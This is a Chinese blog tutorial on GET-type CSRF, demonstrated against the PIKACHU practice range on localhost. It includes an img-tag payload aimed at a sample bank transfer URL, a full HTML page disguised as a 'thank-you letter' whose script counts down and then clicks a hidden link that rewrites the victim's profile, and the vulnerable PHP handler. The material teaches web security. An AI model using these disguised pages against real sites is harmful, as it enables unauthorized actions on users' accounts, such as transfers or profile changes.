CSRF | GET 型 CSRF 漏洞攻击

news2024/10/9 15:28:01

关注这个漏洞的其他相关笔记:CSRF 漏洞 - 学习手册-CSDN博客

0x01:GET 型 CSRF 漏洞攻击 —— 理论篇

GET 型 CSRF 漏洞是指攻击者通过构造恶意的 HTTP GET 请求,利用用户的登录状态,在用户不知情的情况下,诱使浏览器向受信任的网站发送请求,从而执行非用户意图的操作。

常见的攻击方式: 攻击者通过在站点中嵌入恶意链接到图片、链接或者隐藏的 iframe 中,诱使用户点击或者在不知情的情况下触发请求,从而发起攻击。例如,攻击者可以创建一个隐藏的 iframe,其中包含对银行网站的转账请求,当用户访问包含该 iframe 的页面时,浏览器会携带用户的会话 Cookie 自动发起转账请求,而用户可能对此还一无所知。

其攻击流程如下图所示:

比如,某家银行的转账接口请求包如下(假设该家银行存在 CSRF 漏洞):

 http://bank.example.com?act=transfer&money=$money$&to=$email$
 ​
 act=transfer  -- 执行转账操作
 money=$money$ -- 转账的金额
 to=$email$    -- 转账的对象

那么攻击者通过在网页中嵌入下面的代码,并诱导用户访问,当用户访问嵌入了恶意代码的站点时,用户浏览器就自动会向 bank.example.com 站点的转账接口发起请求,导致攻击发生:

 <img src="http://bank.example.com?act=transfer&money=100&to=hacker@test.com">

当然,前提是,用户登录了那家银行,而且登录凭证(Cookie or Session)还未失效。

0x02:GET 型 CSRF 漏洞攻击 —— 实战篇

实验工具准备

  • PHP 运行环境:phpstudy_x64_8.1.1.3.zip(Apache2.4.39 + PHP 5.6.9nts)

  • 实验环境:PIKACHU 靶场 - CSRF(get) => 参考:PIKACHU —— 靶场笔记合集

本次的实验环境,我们采用现成的 PIKACHU 靶场,PIKACHU 靶场的安装方法参考上面提供的链接,这里就不多说了,下面直接进入演示流程。

0x0201:GET 型 CSRF 攻击

在浏览器的导航栏中输入下面的网址,访问实验环境:

 http://localhost/pikachu/vul/csrf/csrfget/csrf_get_login.php

随机挑选一个账号进行登录,这里笔者选择的是,allen:123456

点击 ”修改个人信息“ 按钮,并打开浏览器的 ”开发者工具“ 进行抓包:

然后随便修改点信息,比如我把手机号修改成,123456,并点击 submit 进行提交,注意抓包:

可以看到,我们是通过 GET 方式向站点后端接口传递参数来修改我们的个人信息。如果这个接口没有做任何的安全防御措施,那我们完全可以通过直接访问这个 GET 请求的链接,来达到,向后端提交个人信息修改的这么一个操作。

上面的那条 GET 请求拿下来是这样的:

 http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456&add=nba 76&email=allen@pikachu.com&submit=submit

我们手动把 add 参数变一下,比如改成 “翻斗花园翻斗大街 1408 号”:

 http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456&add=翻斗花园翻斗大街 1408 号&email=allen@pikachu.com&submit=submit

然后直接通过浏览器访问上面的链接,可以发现,当前登录的用户(allen)的个人信息发生了改变:

此时已经可以判定,该站点修改个人信息的接口存在 CSRF 漏洞,攻击者可以很轻松的伪造符合接口要求的请求,只要网站的受信用户点击带有 CSRF 攻击的链接,即可被修改个人信息。(真的需要用户自己傻乎乎的去点吗?)

接下来,我们模拟攻击者,创造一个可以自动触发攻击代码的页面,将下面的 HTML 代码直接复制进一个 HTML 文件中,然后双击打开这个 HTML 文件即可:

 
<!-- File Name:cssrf_get.html -->
 <!DOCTYPE html>
 <html lang="zh-CN">
 ​
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>感谢信</title>
     <style>
         body {
             font-family: 'Times New Roman', serif;
             background-color: #f4f4f4;
             display: flex;
             justify-content: center;
             align-items: center;
             height: 100vh;
             margin: 0;
         }
 ​
         .declaration {
             background-color: #fff;
             padding: 20px;
             border: 1px solid #ddd;
             box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
             max-width: 600px;
             margin: auto;
         }
 ​
         h1 {
             text-align: center;
             color: #333;
         }
 ​
         p {
             text-align: justify;
             line-height: 1.6;
             color: #666;
         }
 ​
         .modal {
             position: fixed;
             top: 20px;
             right: 20px;
             background-color: #fff;
             padding: 20px;
             border: 1px solid #ddd;
             box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
             display: flex;
             flex-direction: column;
             align-items: center;
             justify-content: center;
             gap: 10px;
         }
 ​
         .modal h2 {
             margin: 0;
             color: #333;
         }
 ​
         .modal p {
             margin: 0;
             color: #666;
         }
 ​
         .modal button {
             padding: 10px 20px;
             cursor: pointer;
             background-color: #4CAF50;
             color: white;
             border: none;
             border-radius: 5px;
         }
 ​
         .hidden {
             display: none;
         }
     </style>
 </head>
 ​
 <body>
     <div class="declaration">
         <h1>感谢信</h1>
         <p>致亲爱的读者们:</p>
         <p>首先,我想对每一位关注我的 CSDN 网安区博客的朋友们表示衷心的感谢。你们的支持和鼓励是我不断前进的动力。</p>
         <p>自从我开始在 CSDN 上分享网络安全相关的知识和见解以来,我收到了许多宝贵的反馈和建议。这些交流不仅丰富了我的知识,也帮助我成长为一个更好的内容创作者。</p>
         <p>我承诺将继续努力,为大家带来更多高质量的内容。同时,我也期待与大家有更多的互动和交流,共同探讨网络安全领域的最新动态和技术。</p>
         <p>再次感谢大家的关注和支持,让我们一起在网络安全的道路上不断前行。</p>
         <div class="signature">
             <p>—— 您忠实的博主</p>
             <p>[Blue17]</p>
             <p>[2024/09/22]</p>
         </div>
         <a id="csrf_payload"
             href="http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456&add=nba%2076%3Cbr%3E%3Cp%3E%E2%9D%A4Blue17%20Is%20A%20Good%20CSDN%20Creator%E2%9D%A4%3Cp%3E&email=allen%40pikachu.com&submit=submit"></a> 
     </div>
     <div id="modal" class="modal hidden">
         <h2>惊喜倒计时</h2>
         <p id="countdown">20</p>
         <button id="closeModal">关闭</button>
     </div>
     <script>
         var modal = document.getElementById('modal');
         var countdownElement = document.getElementById('countdown');
         var closeModalButton = document.getElementById('closeModal');
         var link = document.getElementById('csrf_payload');
 ​
         // 显示模态框
         modal.classList.remove('hidden');
 ​
         // 倒计时
         var countdown = 20;
         var intervalId = setInterval(function() {
             countdownElement.textContent = countdown;
             countdown--;
             if (countdown <= 0) {
                 clearInterval(intervalId);
                 // 模拟点击
                 link.click();
                 // 关闭模态框
                 modal.classList.add('hidden');
             }
         }, 1000);
 ​
         // 关闭模态框
         closeModalButton.addEventListener('click', function() {
             clearInterval(intervalId);
             modal.classList.add('hidden');
         });
     </script>
 </body>
 ​
 </html>

这个是笔者给诸位写的一份感谢信,怕诸位太过于感动,特地给你们写了一个阅读倒计时,当倒计时结束时,JavaScript 会模拟用户的点击事件,触发我藏在页面中的小彩蛋(CSRF 攻击指令),修改用户的个人信息,添加上我个人专属 Logo:

这个实验就是告诉诸位,你不点,有的是代码帮你点!至此,GET 型 CSRF 攻击演示完毕。

0x0202:GET 型 CSRF 代码分析

下面是触发 GET 型 CSRF 漏洞的关键代码:

 // csrf_get_edit.php
 $html1='';
 if(isset($_GET['submit'])){
     if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null){
         $getdata=escape($link, $_GET);
         $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
         $result=execute($link, $query);
         if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
             header("location:csrf_get.php");
         }else {
             $html1.='修改失败,请重试';
 ​
         }
     }
 }

上面的代码,简单来说,就是通过 $_GET 来获取前端用户传递过来的请求信息,并根据这些信息更新数据库中的内容。CSRF 漏洞发生的位置就是获取前端用户传递请求信息的部分。

因为接口传参太有规律了,太好猜了,Hacker 能一下子就找到这个接口参数的规律,从而发起攻击。有没有觉得一阵后怕,回想一下自己写的那些业务接口,谁会没事找两个随机参数进行传递?

所以,安全,和便捷,永远是两个对立面,我们能做的,也就是尽量找到最优解。

0x03:参考文献

  • Cookie 的 SameSite 属性 - 阮一峰的网络日志

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2195457.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Cortex-M3/M4/M7 芯片 Fault 分析原理与实战

目录 一、简介1、异常类型2、异常优先级3、同步异步问题4、异常具体类型 二、Fault exception registers1、Control registers1.1 CCR1.2 SHP1.3 SHCSR 2、Status and address registers2.1 HardFault Status Register——HSFR2.2 Configurable Fault Status Register——CFSR2…

《Linux从小白到高手》进阶实操篇:用户及权限有关的实际工作场景应用

List item 本篇为《Linux从小白到高手》进阶实操篇的第一篇&#xff0c;主要介绍分享一些用户及权限有关的实际工作场景应用。 场景1&#xff1a; 实际工作中你一定会碰到如下图所示的情景&#xff1a;本部门有5个组&#xff0c;分别为&#xff1a;①Root组&#xff1a;用户…

Python中对象obj类型确定最pythonic的方式——isinstance()函数

python中确定对象obj的类型&#xff0c;isinstance函数最是优雅&#xff0c;type、issubclass等函数也可以&#xff0c;但终究“曲折”。 (笔记模板由python脚本于2024年10月07日 19:42:38创建&#xff0c;本篇笔记适合喜欢python的coder翻阅) 【学习的细节是欢悦的历程】 Pyth…

Vue2电商项目(七)、订单与支付

文章目录 一、交易业务Trade1. 获取用户地址2. 获取订单信息 二、提交订单三、支付1. 获取支付信息2. 支付页面--ElementUI(1) 引入Element UI(2) 弹框支付的业务逻辑(这个逻辑其实没那么全)(3) 支付逻辑知识点小总结 四、个人中心1. 搭建二级路由2. 展示动态数据(1). 接口(2).…

【Kubernetes】常见面试题汇总(六十)

目录 131. pod 一直处于 pending 状态&#xff1f; 132. helm 安装组件失败&#xff1f; 特别说明&#xff1a; 题目 1-68 属于【Kubernetes】的常规概念题&#xff0c;即 “ 汇总&#xff08;一&#xff09;~&#xff08;二十二&#xff09;” 。 题目 69-113 属于…

企业经营异常怎么解除

经营异常是怎么回事&#xff1f;是什么意思&#xff1f;了解异常原因&#xff1a;我们到所属工商营业执照异常的具体原因。原因可能包括未按时提交年报、未履行即时信息公示义务、公示信息隐瞒真实情况或弄xu作jia、失联等。纠正违规行为&#xff1a;查到了异常原因&#xff0c…

洛谷P5723、P5728、P1428、P1319 Python解析

P5723 完整代码 def is_prime(y):if y < 2:return Falsefor i in range(2, int(y**0.5) 1):if y % i 0:return Falsereturn Truen int(input()) sum_primes 0 x 0if n < 2:print("0") elif n 2:print("2\n1") else:for i in range(2, n 1):i…

计数原理与组合 - 离散数学系列(三)

目录 1. 计数原理的基本概念 加法原理&#xff08;Rule of Sum&#xff09; 乘法原理&#xff08;Rule of Product&#xff09; 2. 排列与组合 排列&#xff08;Permutation&#xff09; 组合&#xff08;Combination&#xff09; 日常生活中的例子 3. 二项式定理 4. 实…

Mysql锁机制解读(敲详细)

目录 锁的概念 全局锁 表级锁 表锁 元数据锁 意向锁 锁的概念 全局锁 表级锁 表锁 元数据锁 主要是对未提交事务&#xff0c;修改表结构造成表结构混乱&#xff0c;进行控制。 在不涉及表结构变化的情况下,元素锁可以忽略。 意向锁 避免有行级锁影响加表级锁&#xff0…

Mysql(六) --- 聚合函数,分组和联合查询

文章目录 前言1.聚合函数1.1.常用的函数1.2.COUNT()1.3.SUM()1.4.AVG()1.5.MIN()、MAX() 2.GROUP BY 分组查询2.1.语法2.2.示例2.3.HAVING 子句 3.联合查询3.1.为什么要进行联合查询3.2.那么是如何进行联合查询的3.3.示例&#xff1a;一个完整的联合查询的过程3.4.内连接3.5.外…

Error:WPF项目中使用oxyplot,错误提示命名空间中不存在“Plot”名称

在OxyPlot中&#xff0c;<oxy:PlotView>和<oxy:Plot>都是用来显示图表的控件&#xff0c;在WPF项目中使用oxyplot之前&#xff0c;先通过NuGet安装依赖包&#xff1a;OxyPlot.Wpf。 <oxy:PlotView>和<oxy:Plot>使用示例&#xff1a; <oxy:PlotVie…

【算法】双指针(续)

一、盛最多水的容器 11. 盛最多水的容器 - 力扣&#xff08;LeetCode&#xff09; 给定一个长度为 n 的整数数组 height 。有 n 条垂线&#xff0c;第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线&#xff0c;使得它们与 x 轴共同构成的容器可以容纳最多…

OJ在线评测系统 微服务 OpenFeign调整后端下 nacos注册中心配置 不给前端调用的代码 全局引入负载均衡器

OpenFeign内部调用二 4.修改各业务服务的调用代码为feignClient 开启nacos注册 把Client变成bean 该服务仅内部调用&#xff0c;不是给前端的 将某个服务标记为“内部调用”的目的主要有以下几个方面&#xff1a; 安全性: 内部API通常不对外部用户公开&#xff0c;这样可以防止…

Nginx05-基础配置案例

零、文章目录 Nginx05-基础配置案例 1、案例需求 &#xff08;1&#xff09;有如下访问 http://192.168.119.161:8081/server1/location1 访问的是&#xff1a;index_sr1_location1.htmlhttp://192.168.119.161:8081/server1/location2 访问的是&#xff1a;index_sr1_loca…

慢接口分析与优化总结

文章目录 1. 慢接口优化的意义2. 接口耗时构成3. 优化技巧3.1. 内部代码逻辑异步执行[异步思想]并行优化拒绝阻塞等待预分配与循环使用[池化思想]线程池合理设计锁粒度避免过粗优化程序结构 3.2. 缓存恰当引入缓存[空间换时间思想]缓存延迟优化提前初始化缓存[预取思想] 3.3. 数…

工具函数(截取文本第一个字为图片)

const subStringToImage (params) > {const { str ,color #FFF,background #4F54FF,size 60,fontSize 20 } paramsif(str.length < 0) return console.error(字符不能为空!)const text str.slice(0, 1)const canvas document.createElement(canvas)const ctx …

github 国内文件加速下载

参看;https://www.cnblogs.com/ting1/p/18356265 在源网址前加上 https://hub.gitmirror.com/ 或https://mirror.ghproxy.com/&#xff0c;例如&#xff1a; https://hub.gitmirror.com/https://github.com/t1m0thyj/WinDynamicDesktop/releases/download/v5.4.1/WinDynamicD…

算法题总结(十)——二叉树上

#二叉树的递归遍历 // 前序遍历递归LC144_二叉树的前序遍历 class Solution {public List<Integer> preorderTraversal(TreeNode root) {List<Integer> result new ArrayList<Integer>(); //也可以把result 作为全局变量&#xff0c;只需要一个函数即可。…

公开数据集网站分享

参考链接&#xff1a;常用的医学组织切片细胞图像数据集_细胞分割数据集-CSDN博客文章浏览阅读1.3w次&#xff0c;点赞32次&#xff0c;收藏133次。乳腺癌细胞图像数据集、血细胞图像数据集、HE染色切片、疟疾细胞图像图像识别、分类、分割_细胞分割数据集https://blog.csdn.ne…

Redis list 类型

list类型 类型介绍 列表类型 list 相当于 数组或者顺序表 list内部的编码方式更接近于 双端队列 &#xff0c;支持头插 头删 尾插 尾删。 需要注意的是&#xff0c;Redis的下标支持负数下标。 比如数组大小为5&#xff0c;那么要访问下标为 -2 的值可以理解为访问 5 - 2 3 …